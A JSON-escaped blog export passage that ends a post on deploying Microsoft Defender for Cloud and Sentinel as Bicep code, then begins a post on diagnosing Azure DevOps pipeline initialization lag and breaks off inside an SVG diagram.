text-anchor='middle' x='416' y='612' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='244' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='292' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAzure Policy\u003c/strong\u003e ensures that every subscription (new or existing) is automatically enrolled in the security baseline.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDefender for Cloud\u003c/strong\u003e provides continuous security posture management (CSPM) and workload protection.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMicrosoft Sentinel\u003c/strong\u003e aggregates alerts from Defender and other sources for unified threat detection and automated response.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"enabling-defender-at-scale\"\u003eEnabling Defender at Scale\u003c/h3\u003e\n\u003cp\u003eThe only way to ensure 100% coverage is Azure Policy. Assign the built-in initiative \u003cstrong\u003e\u0026ldquo;Microsoft Defender for Cloud\u0026rdquo;\u003c/strong\u003e (ID: \u003ccode\u003e1f3afdf9-d0c9-4c3d-847f-89da613e70a8\u003c/code\u003e) to your intermediate management group. This ensures every child subscription — including those vended in the future — automatically enrolls in the security baseline.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBicep: Policy Assignment\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e defenderAssignment \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Authorization/policyAssignments@2024-05-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;enable-defender-baseline\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;eastus\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  identity: { \u003cspan style=\"color:#66d9ef\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;SystemAssigned\u0026#39;\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    displayName: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Enable Microsoft Defender for Cloud\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    policyDefinitionId: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/providers/Microsoft.Authorization/policySetDefinitions/1f3afdf9-d0c9-4c3d-847f-89da613e70a8\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"workload-protection-plans\"\u003eWorkload Protection Plans\u003c/h3\u003e\n\u003cp\u003eEnable specific plans (Servers, Storage, Key Vault) at the subscription scope. In 2026, the \u003cstrong\u003eRisk-Based Secure Score 2.0\u003c/strong\u003e model weights these findings by asset criticality and internet exposure.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAMA Auto-provisioning\u003c/strong\u003e:\nDefender for Servers requires the Azure Monitor Agent (AMA). Automate the installation for all VMs:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e amaProvision \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Security/autoProvisioningSettings@2017-08-01-preview\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;ama-agent\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    autoProvision: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;On\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cem\u003eNote: As of April 2026, 1 unit of Defender Serverless coverage now accounts for 8 function or app service resources in the discovery plan.\u003c/em\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"microsoft-sentinel-centralized-siemsoar\"\u003eMicrosoft Sentinel: Centralized SIEM/SOAR\u003c/h2\u003e\n\u003ch3 id=\"hub-workspace-integration\"\u003eHub Workspace Integration\u003c/h3\u003e\n\u003cp\u003eSentinel should live in the \u003ccode\u003emgt-prod-logging\u003c/code\u003e subscription on the same workspace receiving diagnostic logs from the entire hierarchy. This prevents detection silos and allows analytics rules to correlate lateral movement across multiple subscriptions.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSentinel Log Tiers (2026)\u003c/strong\u003e:\nOptimize costs by routing data to the appropriate plan:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAnalytics Logs (~$4.30/GB)\u003c/strong\u003e: Security alerts, sign-ins, audit events.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBasic Logs (~$0.50/GB)\u003c/strong\u003e: Verbose diagnostics.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuxiliary Logs (~$0.19/GB)\u003c/strong\u003e: High-volume firewall \u0026ldquo;Allow\u0026rdquo; logs and DNS queries (up to 12-year retention).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"data-connectors-as-code\"\u003eData Connectors as Code\u003c/h3\u003e\n\u003cp\u003eUse the \u003cstrong\u003eCodeless Connector Framework (CCF)\u003c/strong\u003e to deploy connectors via IaC. The legacy HTTP Data Collector API retires on \u003cstrong\u003eSeptember 14, 2026\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBicep: Defender Connector\u003c/strong\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e defenderConnector \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.SecurityInsights/dataConnectors@2024-09-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#a6e22e\"\u003eguid\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;defender-connector\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  kind: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;AzureSecurityCenter\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  scope: sentinelWorkspace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionId: \u003cspan style=\"color:#a6e22e\"\u003esubscription\u003c/span\u003e().subscriptionId\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    dataTypes: { alerts: { state: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Enabled\u0026#39;\u003c/span\u003e } }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"security-baselines-and-alerting\"\u003eSecurity Baselines and Alerting\u003c/h2\u003e\n\u003ch3 id=\"secure-score-auditing\"\u003eSecure Score Auditing\u003c/h3\u003e\n\u003cp\u003eTrack your posture trend using KQL against the \u003ccode\u003eSecurityResources\u003c/code\u003e table. Focus on the top five \u0026ldquo;Risk-Based\u0026rdquo; recommendations; in 2026, these often move the score more than dozens of low-risk findings.\u003c/p\u003e\n\u003ch3 id=\"automated-response\"\u003eAutomated Response\u003c/h3\u003e\n\u003cp\u003eConfigure Sentinel \u003cstrong\u003eAutomation Rules\u003c/strong\u003e to trigger Logic App playbooks for high-severity incidents.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eOperational Tip\u003c/strong\u003e: Monitor the \u003ccode\u003eSentinelHealth\u003c/code\u003e table to ensure your data connectors stay in a connected state without having to manually check the portal.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eStandard SKUs Only\u003c/strong\u003e: Use the Standard tier for Sentinel to access automation rules and UEBA.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuxiliary for Firewalls\u003c/strong\u003e: Route firewall traffic logs to the Auxiliary tier to save ~95% on ingestion costs while maintaining compliance.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eManaged Identity for Policy\u003c/strong\u003e: Always grant the \u003ccode\u003eSecurity Admin\u003c/code\u003e role to your policy assignment identity to allow it to remediate non-enrolled subscriptions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://azure.microsoft.com/en-us/pricing/details/microsoft-sentinel/\"\u003eMicrosoft Sentinel Pricing\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/defender-for-cloud/secure-score-security-controls\"\u003eDefender for Cloud Secure Score\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/defender-for-cloud/auto-deploy-azure-monitor-agent\"\u003eAzure Monitor Agent Auto-provisioning\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNext, move to \u003ca href=\"../azure-landing-zone-cicd/\"\u003ePost 8: CI/CD for Azure Landing Zones\u003c/a\u003e. We will build the automated deployment pipelines that manage this security baseline.\u003c/p\u003e\n","description":"Establish a security baseline by deploying Microsoft Defender for Cloud and Microsoft Sentinel as code. Automate CSPM and SIEM across your landing zone.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-security-baseline/","title":"Azure Security Baseline: Defender for Cloud and Sentinel"},{"content":"\u003cp\u003eThe commit lands. The pipeline triggers. The developer watches the progress bar on \u0026ldquo;Initialize job.\u0026rdquo; Thirty seconds pass. Forty. The first task has not started yet. The code change was two lines.\u003c/p\u003e\n\u003cp\u003eFor most engineering teams, initialization lag is background noise — annoying but invisible against longer build and test times. For enterprise platform teams managing pipelines with 15-layer template hierarchies, 80-stage release trains, and organization-wide decorators, initialization time compounds into minutes per run and hours per day across hundreds of pipelines. Because the cost is paid before any task executes, profiling tools that focus on task duration miss it entirely.\u003c/p\u003e\n\u003cp\u003eThis article provides enterprise architects the tools to:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUnderstand the three phases of YAML compilation and identify bottlenecks.\u003c/li\u003e\n\u003cli\u003eMeasure initialization lag precisely using built-in timing data in logs.\u003c/li\u003e\n\u003cli\u003eDiagnose five distinct causes of excessive initialization time.\u003c/li\u003e\n\u003cli\u003eApply targeted optimizations: template flattening, cross-repo consolidation, compile-time deferral, and decorator scoping.\u003c/li\u003e\n\u003cli\u003eBuild a before-and-after benchmark to quantify the improvement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"what-actually-happens-during-initialize-job\"\u003eWhat Actually Happens During \u0026ldquo;Initialize Job\u0026rdquo;\u003c/h2\u003e\n\u003ch3 id=\"the-three-phases-of-yaml-compilation\"\u003eThe Three Phases of YAML Compilation\u003c/h3\u003e\n\u003cp\u003eBefore a single agent instruction executes, the Azure DevOps service completes three sequential compilation phases. All three finish before the agent is allocated and before the \u0026ldquo;Initialize job\u0026rdquo; log section transitions to the first task.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePhase 1 — Template Resolution:\u003c/strong\u003e The service reads the root pipeline YAML file, identifies every \u003ccode\u003e- template:\u003c/code\u003e reference, and fetches each file as a separate HTTP request to the repository service. This phase is sequential and recursive — the service cannot fetch a child template until it has fetched and parsed the parent. Phase 1 ends when the complete template tree is in memory.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePhase 2 — Template Expansion:\u003c/strong\u003e The service evaluates all \u003ccode\u003e${{ }}\u003c/code\u003e compile-time expressions against the in-memory template tree. This includes parameter substitution, \u003ccode\u003e${{ if }}\u003c/code\u003e / \u003ccode\u003e${{ elseif }}\u003c/code\u003e branches, and \u003ccode\u003e${{ each }}\u003c/code\u003e loop expansion. The output is the Expanded YAML — the fully resolved pipeline definition with no remaining \u003ccode\u003e${{ }}\u003c/code\u003e expressions. You can download the Expanded YAML from the run\u0026rsquo;s \u003ccode\u003e...\u003c/code\u003e menu.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePhase 3 — Plan Compilation:\u003c/strong\u003e The service validates the Expanded YAML against the pipeline schema, computes the execution plan (job graph, dependency order, resource requirements), and serializes the plan for agent dispatch. Phase 3 cost scales with the number of jobs and steps in the Expanded YAML.\u003c/p\u003e\n\u003ch3 id=\"diagram-the-pipeline-initialization-lifecycle\"\u003eDiagram: The Pipeline Initialization Lifecycle\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes the sequential phases the Azure DevOps service completes before any agent is allocated. It highlights the \u0026ldquo;Availability Gap\u0026rdquo; and the primary cost drivers for initialization lag.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 552 1193\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 256,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,32 L 144,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,32 L 256,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,80 L 144,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,80 L 256,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,128 L 232,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,160 L 136,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,160 L 232,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,192 L 128,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,192 L 232,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,224 L 136,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,224 L 232,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,256 L 128,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,256 L 232,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,288 L 136,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,288 L 232,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,320 L 128,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,320 L 232,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,352 L 232,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,368 L 144,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,368 L 256,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,416 L 144,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,416 L 256,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,464 L 224,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,512 L 136,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,512 L 232,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,544 L 128,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,544 L 232,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,576 L 136,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,576 L 232,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,608 L 128,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,608 L 232,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,640 L 232,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,656 L 144,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,656 L 256,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,704 L 144,704' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,704 L 256,704' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,752 L 232,752' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,784 L 136,784' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,784 L 232,784' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,816 L 128,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,816 L 232,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,848 L 136,848' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,848 L 232,848' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,880 L 128,880' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,880 L 232,880' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,912 L 232,912' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,928 L 144,928' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,928 L 256,928' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,976 L 144,976' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,976 L 256,976' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,1008 L 144,1008' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,1008 L 256,1008' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,1056 L 144,1056' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,1056 L 256,1056' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,1088 L 144,1088' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,1088 L 256,1088' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,1136 L 144,1136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,1136 L 256,1136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,1168 L 256,1168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,80 L 32,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,416 L 32,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,704 L 32,928' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,976 L 32,1008' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,1056 L 32,1088' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,1136 L 32,1168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,128 L 56,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,192 L 56,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,256 L 56,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,320 L 56,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,464 L 56,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,544 L 56,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,608 L 56,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,752 L 56,784' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,816 L 56,848' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,880 L 56,912' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,160 L 136,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,224 L 136,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,288 L 136,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,512 L 136,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,576 L 136,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,784 L 136,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 136,848 L 136,880' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,32 L 144,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,64 L 144,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,368 L 144,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,400 L 144,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,656 L 144,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,688 L 144,704' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,928 L 144,960' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,960 L 144,976' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,1008 L 144,1040' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,1040 L 144,1056' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,1088 L 144,1120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 144,1120 L 144,1136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,128 L 232,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,192 L 232,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,256 L 232,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,320 L 232,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,496 L 232,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,544 L 232,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,608 L 232,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,752 L 232,784' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,816 L 232,848' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,880 L 232,912' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,0 L 256,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,80 L 256,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,416 L 256,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,496 L 256,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,704 L 256,928' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,976 L 256,1008' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,1056 L 256,1088' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,1136 L 256,1168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,472 L 264,488' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='144.000000,192.000000 132.000000,186.399994 132.000000,197.600006' fill='currentColor' transform='rotate(90.000000, 136.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='144.000000,256.000000 132.000000,250.399994 132.000000,261.600006' fill='currentColor' transform='rotate(90.000000, 136.000000, 256.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='144.000000,320.000000 132.000000,314.399994 132.000000,325.600006' fill='currentColor' transform='rotate(90.000000, 136.000000, 320.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='144.000000,544.000000 132.000000,538.400024 132.000000,549.599976' fill='currentColor' transform='rotate(90.000000, 136.000000, 544.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='144.000000,608.000000 132.000000,602.400024 132.000000,613.599976' fill='currentColor' transform='rotate(90.000000, 136.000000, 608.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='144.000000,816.000000 132.000000,810.400024 132.000000,821.599976' fill='currentColor' transform='rotate(90.000000, 136.000000, 816.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='144.000000,880.000000 132.000000,874.400024 132.000000,885.599976' fill='currentColor' transform='rotate(90.000000, 136.000000, 880.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 144,64 L 144,72' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='160.000000,64.000000 148.000000,58.400002 148.000000,69.599998' fill='currentColor' transform='rotate(90.000000, 144.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 144,400 L 144,408' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='160.000000,400.000000 148.000000,394.399994 148.000000,405.600006' fill='currentColor' transform='rotate(90.000000, 144.000000, 400.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 144,688 L 144,696' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='160.000000,688.000000 148.000000,682.400024 148.000000,693.599976' fill='currentColor' transform='rotate(90.000000, 144.000000, 